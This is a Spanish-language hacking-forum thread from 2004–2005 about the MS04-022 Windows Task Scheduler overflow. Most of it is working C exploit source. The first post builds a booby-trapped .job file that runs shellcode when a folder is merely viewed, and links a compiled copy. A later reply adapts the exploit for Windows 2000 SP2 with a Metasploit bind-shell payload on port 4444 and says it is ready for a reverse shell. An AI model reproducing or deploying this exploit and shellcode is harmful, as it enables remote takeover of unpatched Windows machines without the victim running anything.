elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 18:57  


Tema destacado: Sigue las noticias más importantes de elhacker.net en ttwitter!

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Microsoft Windows 2K/XP Task Scheduler Vulnerability (Exploit, MS04-022
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Microsoft Windows 2K/XP Task Scheduler Vulnerability (Exploit, MS04-022  (Leído 999 veces)
Man-In-the-Middle
Colaborador
***
Desconectado Desconectado

Mensajes: 3.645



Ver Perfil
Microsoft Windows 2K/XP Task Scheduler Vulnerability (Exploit, MS04-022
« en: 16 Septiembre 2004, 10:17 »

Este exploit , crea un archivo con extensión task.obj que ocaciona overflow y te maanda un mensaje de error por el notpad cada ves que quieras entrar en la carpeta donde se encuentra el obj, saltara el notepad y ocasionara volcadura de memoria

Lo compile con dev c++

Affected Software:
 * Microsoft Windows 2000 Service Pack 2, Microsoft Windows 2000 Service Pack 3, Microsoft Windows 2000 Service Pack 4
 * Microsoft Windows XP and Microsoft Windows XP Service Pack 1
 * Microsoft Windows XP 64-Bit Edition Service Pack 1

Exploit:
Código:
//**************************************************************************
// Microsoft Windows 2K/XP Task Scheduler Vulnerability (MS04-022)
// Proof-of-Concept Exploit for English WinXP SP1
// 15 Jul 2004
//
// Running this will create a file "j.job". When explorer.exe or any
// file-open dialog box accesses the directory containing this file,
// notepad.exe will be spawn.
//
// Greetz: snooq, sk and all guys at SIG^2 (www.security.org.sg);
//
//**************************************************************************

#include <stdio.h>
#include <windows.h>


unsigned char jobfile[] =
"\x01\x05\x01\x00\xD9\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\x46\x00\x92\x00\x00\x00\x00\x00\x3C\x00\x0A\x00"
"\x20\x00\x00\x00\x00\x14\x73\x0F\x00\x00\x00\x00\x03\x13\x04\x00"
"\xC0\x00\x80\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x80\x01\x44\x00\x3A\x00\x5C\x00\x61\x00"
"\x2E\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"


"\x78\x00\x78\x00\x78\x00\x78\x00\x79\x00\x79\x00\x79\x00\x79\x00"
"\x7A\x00\x7A\x00\x7A\x00\x7A\x00\x7B\x00\x7B\x00\x7B\x00"
"\x5b\xc1\xbf\x71" // jmp esp in SAMLIB WinXP SP1
"\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44"
"\x90\x90" // jmp esp lands here
"\xEB\x80" // jmp backward into shellcode
"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
"\x61\x00\x61\x00\x61\x00\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x00\x00\x00\x00\x04\x00\x44\x00\x3A\x00"
"\x5C\x00\x00\x00\x07\x00\x67\x00\x75\x00\x65\x00\x73\x00\x74\x00"
"\x31\x00\x00\x00\x00\x00\x00\x00\x08\x00\x03\x13\x04\x00\x00\x00"
"\x00\x00\x01\x00\x30\x00\x00\x00\xD4\x07\x07\x00\x0F\x00\x00\x00"
"\x00\x00\x00\x00\x0B\x00\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00";


/*
* Harmless payload that spawns 'notepad.exe'... =p
* Ripped from snooq's WinZip exploit
*/

unsigned char shellcode[]=
"\x33\xc0" // xor eax, eax // slight modification to move esp up
"\xb0\xf0" // mov al, 0f0h
"\x2b\xe0" // sub esp,eax
"\x83\xE4\xF0" // and esp, 0FFFFFFF0h
"\x55" // push ebp
"\x8b\xec" // mov ebp, esp
"\x33\xf6" // xor esi, esi
"\x56" // push esi
"\x68\x2e\x65\x78\x65" // push 'exe.'
"\x68\x65\x70\x61\x64" // push 'dape'
"\x68\x90\x6e\x6f\x74" // push 'ton'
"\x46" // inc esi
"\x56" // push esi
"\x8d\x7d\xf1" // lea edi, [ebp-0xf]
"\x57" // push edi
"\xb8XXXX" // mov eax, XXXX -> WinExec()
"\xff\xd0" // call eax
"\x4e" // dec esi
"\x56" // push esi
"\xb8YYYY" // mov eax, YYYY -> ExitProcess()
"\xff\xd0"; // call eax


int main(int argc, char* argv[])
{
    unsigned char *ptr = (unsigned char *)shellcode;

    while (*ptr)
    {
        if (*((long *)ptr)==0x58585858)
        {
            *((long *)ptr) = (long)GetProcAddress(GetModuleHandle("kernel32.dll"), "WinExec");
        }
        if (*((long *)ptr)==0x59595959)
        {
            *((long *)ptr) = (long)GetProcAddress(GetModuleHandle("kernel32.dll"), "ExitProcess");
        }
        ptr++;
    }

    FILE *fp;
    fp = fopen("j.xxx", "wb");
    if(fp)
    {
        unsigned char *ptr = jobfile + (31 * 16);
        memcpy(ptr, shellcode, sizeof(shellcode) - 1);

        fwrite(jobfile, 1, sizeof(jobfile)-1, fp);
        fclose(fp);
        DeleteFile("j.job");
        MoveFile("j.xxx", "j.job");
    }
    return 0;
}

si lo quires probar
aca esta compilado

http://mx.geocities.com/petzulu2004/task.zip

seguridad:

No lo ejecutes en el escritorio!!

Enjoy
Man-In-the-Middle
« Última modificación: 16 Septiembre 2004, 18:00 por Rojodos » En línea
edipo

Desconectado Desconectado

Mensajes: 21


Ver Perfil
Re: Microsoft Windows 2K/XP Task Scheduler Vulnerability (Exploit, MS04-022
« Respuesta #1 en: 18 Mayo 2005, 21:44 »

HOLA WEY YA LO INTENTE COMPILAR CON DEV C++ Y QUE PASO ME GENERO UN POQUITOS ERRORES NO SE QUE ES PERO CONO TODOS LOS QUE INTENTO COMPILAR ME PASA LO MISMO A SI QUE ESPERO Y ME AYUDES A QUI LE DEJO LOS ERRORES

C:\DEV-C_~1\Bin\ld.exe: warning: cannot find entry symbol _WinMainCRTStartup; defaulting to 00401000
C:\DOCUME~1\ESTACI~1\CONFIG~1\Temp\ccmsaaaa.o: In function `main':
//c/dev-c_~1/include/objc/ms04-022.cpp:117: undefined reference to `__main'
//c/dev-c_~1/include/objc/ms04-022.cpp:124: undefined reference to `GetModuleHandleA@4'
//c/dev-c_~1/include/objc/ms04-022.cpp:124: undefined reference to `GetProcAddress@8'
//c/dev-c_~1/include/objc/ms04-022.cpp:128: undefined reference to `GetModuleHandleA@4'
//c/dev-c_~1/include/objc/ms04-022.cpp:128: undefined reference to `GetProcAddress@8'
//c/dev-c_~1/include/objc/ms04-022.cpp:134: undefined reference to `fopen'
//c/dev-c_~1/include/objc/ms04-022.cpp:138: undefined reference to `memcpy'
//c/dev-c_~1/include/objc/ms04-022.cpp:140: undefined reference to `fwrite'
//c/dev-c_~1/include/objc/ms04-022.cpp:141: undefined reference to `fclose'
//c/dev-c_~1/include/objc/ms04-022.cpp:142: undefined reference to `DeleteFileA@4'
//c/dev-c_~1/include/objc/ms04-022.cpp:143: undefined reference to `MoveFileA@8'


BUENO ESO ES TODO
En línea
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Microsoft Windows 2K/XP Task Scheduler Vulnerability (Exploit, MS04-022
« Respuesta #2 en: 21 Mayo 2005, 22:59 »

Citar
Proof-of-Concept Exploit for English WinXP SP1
:-\, pues tengo un win2k con sp2, pero me interesa bastante. Funciona igual, pero la ip va a parar a cualquier lado. Le metí otra scode y resulta que la ip se machaca con otro valor. Y con cual valor? con uno que estaba dentro de la scode :o (los tres últimos bytes), como no puedo modificar la scode la corrí tres lugares para arriba:
Código:
unsigned char *ptr = jobfile + (31 * 16)-3;
Depuro algún programa para probar la vulnerabilidad con el ollydbg para ver el estado de la pila y efectivamente está la scode. Pero el estado de los registros me hace imposible saltar a la scode, no puedo hacer un jmp esp, o eax, o ebx. Antes hay que acomodar esp o algún registro para después saltar. Pero según lo que pienso tengo que encontrar código en alguna dll cargada que haga esto. ¿es posible encontrar código en kernel32.dll, por ejemplo, que logre acomodar el registro y luego saltar?. ¿Como puedo superar este problema y lograr que se ejecute mi scode?.
Bytes.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Microsoft Windows 2K/XP Task Scheduler Vulnerability (Exploit, MS04-022
« Respuesta #3 en: 29 Mayo 2005, 22:41 »

Lo he conseguido!!!  ;D. Al fin. Me interesó bastante esto porq no es necesario que la víctima ejecute el archivo, simplemente con verlo en algún cuadro de diálogo, en el explorador de windows, hasta en el windows commander  :P, bindea una shell al puerto 4444. En win2k sp2(el sistema en el que lo probé) el jmp está ligeramente más adelante, además de que hay que arreglar algunas cosas para que no se produzca una excpeción. Al código:
Código:
//**************************************************************************
// Microsoft Windows 2K/XP Task Scheduler Vulnerability (MS04-022)
// Proof-of-Concept Exploit for English WinXP SP1
// 15 Jul 2004
//
// Running this will create a file "j.job". When explorer.exe or any
// file-open dialog box accesses the directory containing this file,
// notepad.exe will be spawn.
//
// Greetz: snooq, sk and all guys at SIG^2 (www.security.org.sg);
//
//**************************************************************************

#include <stdio.h>
#include <windows.h>

unsigned char jobfile[] =
"\x01\x05\x01\x00\xD9\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\x46\x00\x92\x00\x00\x00\x00\x00\x3C\x00\x0A\x00"
"\x20\x00\x00\x00\x00\x14\x73\x0F\x00\x00\x00\x00\x03\x13\x04\x00"
"\xC0\x00\x80\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x80\x01\x44\x00\x3A\x00\x5C\x00\x61\x00"
"\x2E\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x78\x00\x78\x00\x78\x00\x78\x00\x79\x00\x79\x00\x79\x00\x79\x00"
"\x7A\x00\x7A\x00\x7A\x00\x7A\x00\x7B\x00\x7B\x00\x7B\x00\x2b\x49"
"\xe2\x77\x42\x42\x42\x42\x43\x43\x43\x43"

"\x2b\x49\xe2\x77"//jmp esp - user32.dll win2k sp2

"\x90\x90\xEB\x80\x61\x00\x61\x00\x61\x00\x61\x00"

"\x01\xb0\x10\x75"// ecx = un valor que no provoca excepcion (SAMLIB)

"\x61\x00\x61\x00"
//el jmp esp viene a parar a este codigo
"\x33\xC0\x66\xb8\xf0\x01\x2b\xe0\x8b\xc4\xff\xe4"
/* xor eax,eax
    mov ax,1f0h
    sub esp,eax                                     
    jmp esp ;salto a la shellcode*/
"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
"\x61\x00\x61\x00\x61\x00\x61\x00\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x00\x00\x00\x00\x04\x00\x44\x00"
"\x3A\x00\x5C\x00\x00\x00\x07\x00\x67\x00\x75\x00\x65\x00\x73\x00"
"\x74\x00\x31\x00\x00\x00\x00\x00\x00\x00\x08\x00\x03\x13\x04\x00"
"\x00\x00\x00\x00\x01\x00\x30\x00\x00\x00\xD4\x07\x07\x00\x0F\x00"
"\x00\x00\x00\x00\x00\x00\x0B\x00\x26\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00";

unsigned char shellcode2[]=//abre la calculadora
"\xF9\xEB\x52\x5D\x83\xEC\x54\xC7\x04\x24\x45\xFF\xFF\x0F\x81\x2C"
"\x24\x01\xFF\xFF\x0F\xC7\x44\x24\x2C\x02\xFF\xFF\x0F\x81\x6C\x24"
"\x2C\x01\xFF\xFF\x0F\x66\xC7\x44\x24\x30\x0B\xFF\x66\x81\x6C\x24"
"\x30\x01\xFF\x33\xC0\x66\x89\x44\x24\x32\x89\x44\x24\x34\x89\x44"
"\x24\x38\x8B\xDC\x83\xC4\x2C\x33\xC0\x33\xC9\xB1\x0A\x50\xE2\xFD"
"\x8B\xE3\x8B\xCC\xF8\x72\x2D\x83\xC1\x44\x51\x53\x33\xDB\x53\x53"
"\xBB\x11\xFF\xFF\xFF\x81\xEB\x01\xFF\xFF\xFF\x53\x33\xDB\x53\x53"
"\x53\x55\x53\xBB\x4D\xA4\xE9\x77\xFF\xD3\x33\xC0\x50\xB8\x94\x8F"
"\xE9\x77\xFF\xD0\xE8\x7A\xFF\xFF\xFF"
"calc.exe\x00";

/* win32_bind -  EXITFUNC=process LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char shellcode[] =
"\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x96"
"\xdd\x67\x97\x83\xeb\xfc\xe2\xf4\x6a\xb7\x8c\xda\x7e\x24\x98\x68"
"\x69\xbd\xec\xfb\xb2\xf9\xec\xd2\xaa\x56\x1b\x92\xee\xdc\x88\x1c"
"\xd9\xc5\xec\xc8\xb6\xdc\x8c\xde\x1d\xe9\xec\x96\x78\xec\xa7\x0e"
"\x3a\x59\xa7\xe3\x91\x1c\xad\x9a\x97\x1f\x8c\x63\xad\x89\x43\xbf"
"\xe3\x38\xec\xc8\xb2\xdc\x8c\xf1\x1d\xd1\x2c\x1c\xc9\xc1\x66\x7c"
"\x95\xf1\xec\x1e\xfa\xf9\x7b\xf6\x55\xec\xbc\xf3\x1d\x9e\x57\x1c"
"\xd6\xd1\xec\xe7\x8a\x70\xec\xd7\x9e\x83\x0f\x19\xd8\xd3\x8b\xc7"
"\x69\x0b\x01\xc4\xf0\xb5\x54\xa5\xfe\xaa\x14\xa5\xc9\x89\x98\x47"
"\xfe\x16\x8a\x6b\xad\x8d\x98\x41\xc9\x54\x82\xf1\x17\x30\x6f\x95"
"\xc3\xb7\x65\x68\x46\xb5\xbe\x9e\x63\x70\x30\x68\x40\x8e\x34\xc4"
"\xc5\x8e\x24\xc4\xd5\x8e\x98\x47\xf0\xb5\x76\xcb\xf0\x8e\xee\x76"
"\x03\xb5\xc3\x8d\xe6\x1a\x30\x68\x40\xb7\x77\xc6\xc3\x22\xb7\xff"
"\x32\x70\x49\x7e\xc1\x22\xb1\xc4\xc3\x22\xb7\xff\x73\x94\xe1\xde"
"\xc1\x22\xb1\xc7\xc2\x89\x32\x68\x46\x4e\x0f\x70\xef\x1b\x1e\xc0"
"\x69\x0b\x32\x68\x46\xbb\x0d\xf3\xf0\xb5\x04\xfa\x1f\x38\x0d\xc7"
"\xcf\xf4\xab\x1e\x71\xb7\x23\x1e\x74\xec\xa7\x64\x3c\x23\x25\xba"
"\x68\x9f\x4b\x04\x1b\xa7\x5f\x3c\x3d\x76\x0f\xe5\x68\x6e\x71\x68"
"\xe3\x99\x98\x41\xcd\x8a\x35\xc6\xc7\x8c\x0d\x96\xc7\x8c\x32\xc6"
"\x69\x0d\x0f\x3a\x4f\xd8\xa9\xc4\x69\x0b\x0d\x68\x69\xea\x98\x47"
"\x1d\x8a\x9b\x14\x52\xb9\x98\x41\xc4\x22\xb7\xff\xe8\x05\x85\xe4"
"\xc5\x22\xb1\x68\x46\xdd\x67\x97";

int main(int argc, char* argv[])
{
    FILE *fp;
    fp = fopen("j.xxx", "wb");
    if(fp)
    {
        unsigned char *ptr = jobfile + (35 * 16) - sizeof(shellcode);
        memcpy(ptr, shellcode, sizeof(shellcode)-1);

        fwrite(jobfile, 1, sizeof(jobfile)-1, fp);
        fclose(fp);
        DeleteFile("j.job");
        MoveFile("j.xxx", "j.job");
    }
    return 0;
}
Modifiqué algo el código, ya que en el original el salto a la scode es short, con semejante bindportshell no llega  :-\, así que hay que hacer algunas cosas más. Además está listo como para meterle una reverse shell sin problemas. Dejé también la scode made in casa  :P, que se aguantó todas las pruebas ;D, sólo funciona en el sistema que detallé, simplemente abre la calculadora, aunque si se le pone otro cosa en lugar de calc.exe(ej:cmd.exe) crea el proceso sin problemas. Pero la idea es ir más allá que un PoC ::). Como dije, está probado en win2k sp2, y ahora mismo voy a instalar el sp4  8) a ver que pasa y les cuento.
Bytes.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.587


Ver Perfil WWW
Re: Microsoft Windows 2K/XP Task Scheduler Vulnerability (Exploit, MS04-022
« Respuesta #4 en: 29 Mayo 2005, 23:03 »

Enhorabuena! Seguro q estás contento después de tanto esfuerzo...

Gracias por postear los resultados.

Salu2
En línea

Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Microsoft Windows 2K/XP Task Scheduler Vulnerability (Exploit, MS04-022
« Respuesta #5 en: 30 Mayo 2005, 21:23 »

Por nada Gospel  ;), este foro es lo mejor  :D.
Probé con el sp4 pero nada, no vi el advisory oficial, a lo mejor no es vulnerable.
Bytes.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines